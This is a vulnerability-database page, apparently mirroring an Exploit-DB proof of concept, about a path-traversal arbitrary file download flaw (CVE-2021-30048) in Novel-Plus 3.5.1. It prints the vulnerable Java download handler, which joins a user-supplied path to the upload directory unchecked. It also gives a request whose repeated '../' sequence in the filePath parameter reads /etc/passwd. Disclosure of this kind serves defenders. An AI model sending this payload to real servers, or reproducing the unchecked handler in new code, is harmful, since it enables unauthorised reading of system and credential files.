Lucene search
+L

Novel Boutique House-plus 3.5.1 - Arbitrary File Download

🗓️ 29 Mar 2021 00:00:00Reported by tuyiqiangType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 242 Views

Novel Boutique House-plus 3.5.1 - Arbitrary File Download from FileController.jav

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-30048
29 Apr 202117:15
–attackerkb
cnnvd
CNNVD
NovelPlus path traversal vulnerability
29 Apr 202100:00
–cnnvd
cve
CVE
CVE-2021-30048
29 Apr 202116:21
–cve
cvelist
Cvelist
CVE-2021-30048
29 Apr 202116:21
–cvelist
euvd
EUVD
EUVD-2021-16992
7 Oct 202500:30
–euvd
mend
Mend
CVE-2021-30048
29 Apr 202116:21
–mend
nvd
NVD
CVE-2021-30048
29 Apr 202117:15
–nvd
osv_cve
osv_cve
CVE-2021-30048
29 Apr 202117:15
–osv_cve
prion
Prion
Directory traversal
29 Apr 202117:15
–prion
ptsecurity
Positive Technologies
PT-2021-18585 · Unknown · Novel-Plus
29 Apr 202100:00
–ptsecurity
Rows per page
# Exploit Title: Novel Boutique House-plus 3.5.1 - Arbitrary File Download
# Date: 27/03/2021
# Exploit Author: tuyiqiang
# Vendor Homepage: https://xiongxyang.gitee.io/
# Software Link: https://gitee.com/novel_dev_team/novel-plus,https://github.com/201206030/novel-plus
# Version: all
# Tested on: linux

Vulnerable code:

com/java2nb/common/controller/FileController.java

@RequestMapping(value = "/download")
public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception {
      String realFilePath = jnConfig.getUploadPath() + filePath;
      InputStream in = new FileInputStream(realFilePath);
            fileName = URLEncoder.encode(fileName, "UTF-8");
      resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);

      resp.setContentLength(in.available());

      OutputStream out = resp.getOutputStream();
      byte[] b = new byte[1024];
      int len = 0;
      while ((len = in.read(b)) != -1) {
         out.write(b, 0, len);
      }
      out.flush();
      out.close();
      in.close();
}


Guide:

1. Log in to background management
2. http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation